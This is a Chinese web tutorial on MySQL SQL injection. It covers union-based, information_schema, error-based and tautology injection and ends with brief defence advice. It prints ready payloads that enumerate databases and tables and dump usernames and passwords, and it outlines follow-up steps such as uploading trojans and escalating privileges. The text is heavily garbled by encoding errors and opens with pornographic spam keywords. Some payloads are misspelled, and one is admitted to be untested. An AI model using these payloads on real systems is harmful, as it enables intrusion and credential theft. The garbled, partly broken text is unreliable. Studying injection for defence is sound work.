欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sql注入數(shù)據(jù)庫(kù)原理詳情介紹

 更新時(shí)間:2022年09月09日 10:15:59   作者:有勇氣的牛排  
這篇文章主要介紹了sql注入數(shù)據(jù)庫(kù)原理詳情介紹,文章圍繞主題展開詳細(xì)的內(nèi)容戒殺,具有一定的參考價(jià)值,需要的小伙伴可以參考一下,希望對(duì)你的學(xué)習(xí)有所幫助

1 介紹

SQL注入漏洞主要是由于,在請(qǐng)求的時(shí)候沒(méi)有做嚴(yán)格的過(guò)濾,導(dǎo)致傳入的語(yǔ)句被當(dāng)做SQL語(yǔ)句被執(zhí)行,從而導(dǎo)致數(shù)據(jù)庫(kù)受損(被脫庫(kù)、刪除、甚至數(shù)據(jù)付權(quán)限淪陷)

2 一般步驟

SQL注入點(diǎn)探測(cè):

判斷什么地方存在SQL注入點(diǎn),通常在表單文章查詢等與數(shù)據(jù)庫(kù)有關(guān)操作的頁(yè)面。

收集后臺(tái)數(shù)據(jù)庫(kù)信息:

不同的數(shù)據(jù)庫(kù)的注入方法、函數(shù)各不相同,因此注入前要判斷數(shù)據(jù)庫(kù)的類型。

如:

特殊字符、單引號(hào):讓數(shù)據(jù)庫(kù)返回錯(cuò)誤

函數(shù):

version()函數(shù):MSQL專用

1 and version()>0

猜測(cè)用戶名和密碼:

表名、字段名、字段數(shù)、用戶名和密碼。

查找 Web 后臺(tái)管理入口:

可以使用 目錄掃描工具

入侵and破壞:

  • 登錄后臺(tái):上傳木馬、篡改網(wǎng)頁(yè)、竊取信息。
  • 進(jìn)一步提權(quán):入侵Web服務(wù)器和數(shù)據(jù)庫(kù)服務(wù)器。

3 注入

測(cè)試數(shù)據(jù);

+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 從入門到精通(第2版)    |
| 9787115496003 | 虛擬化技術(shù)應(yīng)用與實(shí)踐                |
| 9787302510109 | 算法設(shè)計(jì)與分析(第4版)             |
| 9787503442490 | 心靈密碼                          |
| 9787503421884 | 雪狼                             |
| 9787539635835 | 龍頭老太                          |
+---------------+----------------------------------+

3 函數(shù)

3.1 常用的系統(tǒng)函數(shù)

函數(shù)作用
version()MySQL版本
user()數(shù)據(jù)庫(kù)用戶名
database()數(shù)據(jù)庫(kù)名
@@datadir數(shù)據(jù)庫(kù)路徑
@@version_complie_os操作系統(tǒng)版本

3.2 字符串連接函數(shù)

三大法寶:concat(),group_concat(),concat_ws()

3.2.1 concat() 函數(shù)

特點(diǎn):concat(str1,str2,...)
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串,如果任何一個(gè)參數(shù)為NULL,則返回值為NULL,可以有一個(gè)或多個(gè)參數(shù)。

1. 不使用字符連接函數(shù):

select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 從入門到精通(第2版)    |
+---------------+----------------------------------+

2.使用示例

一般我們都要用一個(gè)字符將各個(gè)項(xiàng)隔開,便于數(shù)據(jù)的查看

select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title)                         |
+------------------------------------------------+
| 9787302458210,SQL Server 從入門到精通(第2版)    |
+------------------------------------------------+

3.2.2 concat_ws() 函數(shù)

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個(gè)參數(shù)是其它參數(shù)的分隔符。分隔符的位置放在要連接的兩個(gè)字符串之間。分隔符可以是一個(gè)字符串,也可以是其它參數(shù)。如果分隔符為 NULL,則結(jié)果為 NULL。函數(shù)會(huì)忽略任何分隔符參數(shù)后的 NULL 值。但是CONCAT_WS()不會(huì)忽略任何空字符串。 (然而會(huì)忽略所有的 NULL)。
特點(diǎn):CONCAT_WS(separator,str1,str2,…)

使用示例

3.2.3 group_concat() 函數(shù)

GROUP_CONCAT函數(shù)返回一個(gè)字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。

select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;

就不演示了,sql語(yǔ)句如同上面

4 注入

4.1 聯(lián)合查詢 union 注入

使用聯(lián)合查詢進(jìn)行的前提是我們進(jìn)行注入的頁(yè)面必須有顯示位。

1、使用union

payload:

v' union select username from member where id=1#%

select 必須有相同的列,且各列的數(shù)據(jù)也都相同,同時(shí),每條 SELECT 語(yǔ)句中的列的順序必須相同。
聯(lián)合查詢可先在鏈接最后添加 order by X 基于隨意數(shù)字的注入,根據(jù)頁(yè)面的返回結(jié)果來(lái)判斷站點(diǎn)中的字段數(shù)目。

select bid,author from books union select username from users;

2、 payload:a' order by 4#%

select bid,author from books order by 4#%;

select bid,author from books order by 2#%;

3、得到主查詢由三個(gè)字段后,我們用union來(lái)做一個(gè)sql拼接。

pauload

a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();

這里沒(méi)有測(cè)試通過(guò)

4.2 information_schema 注入

information_schema數(shù)據(jù)庫(kù)是MySQL5.0系統(tǒng)自帶的數(shù)據(jù)庫(kù),其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫(kù)的信息。

select group_concat(schema_name) from information_schema.schemata;

實(shí)際注入測(cè)試

5.2.1 獲取所有數(shù)據(jù)庫(kù)

類型:id=/wd=/name=

-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

4.2.2 獲取指定數(shù)據(jù)庫(kù)的表

payload

a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

4.2.3 獲取指定表的字段名

payload

a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books  union select table_name,column_name,3 from information_schema.columns where table_name='users';

4.2.4 獲取字段值得內(nèi)容

payload

 a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

4.3 基于報(bào)錯(cuò)信息注入

此方法是在頁(yè)面沒(méi)有顯示位,但是 echomysql_error() 函數(shù),在前端輸出了錯(cuò)誤信息的時(shí)候方能使用。
優(yōu)點(diǎn)是注入速度快,缺點(diǎn)是語(yǔ)句較為復(fù)雜,而且只能用 limit 依次進(jìn)行猜解??傮w來(lái)說(shuō),報(bào)錯(cuò)注入其實(shí)是一種公式化的注入方法,主要用于在頁(yè)面中沒(méi)有顯示位,但是用 echomysql_error() 輸出了錯(cuò)誤信息時(shí)使用。常見(jiàn)的select/insert/update/delete 注入都可以使用報(bào)錯(cuò)方式來(lái)獲取信息。

4.3.1 三個(gè)常用報(bào)錯(cuò)函數(shù)

updatexml(): 函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù)
extractvalue() : 函數(shù)也是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù).
floor(): MYSQL中用來(lái)取整的函數(shù).

4.4 數(shù)字注入

or 1=1

4.5 搜索注入

在搜索框搜索的時(shí)候,成為搜索型。
數(shù)字型與字符型注入最大區(qū)別:數(shù)字型不需要單引號(hào)閉合,而字符串類型需要單引號(hào)閉合。

%xxx% or 1=1 #%'

5 sql注入防御

  • 對(duì)輸入進(jìn)行嚴(yán)格的轉(zhuǎn)義和過(guò)濾
  • 使用參數(shù)化(Parameterized):目前有很多ORM框架會(huì)自動(dòng)使用參數(shù)化解決注入問(wèn)題,但其也提供了"拼接"的方式,所以使用時(shí)需要慎重!

到此這篇關(guān)于sql注入數(shù)據(jù)庫(kù)原理詳情介紹的文章就介紹到這了,更多相關(guān)sql注入數(shù)據(jù)庫(kù) 內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論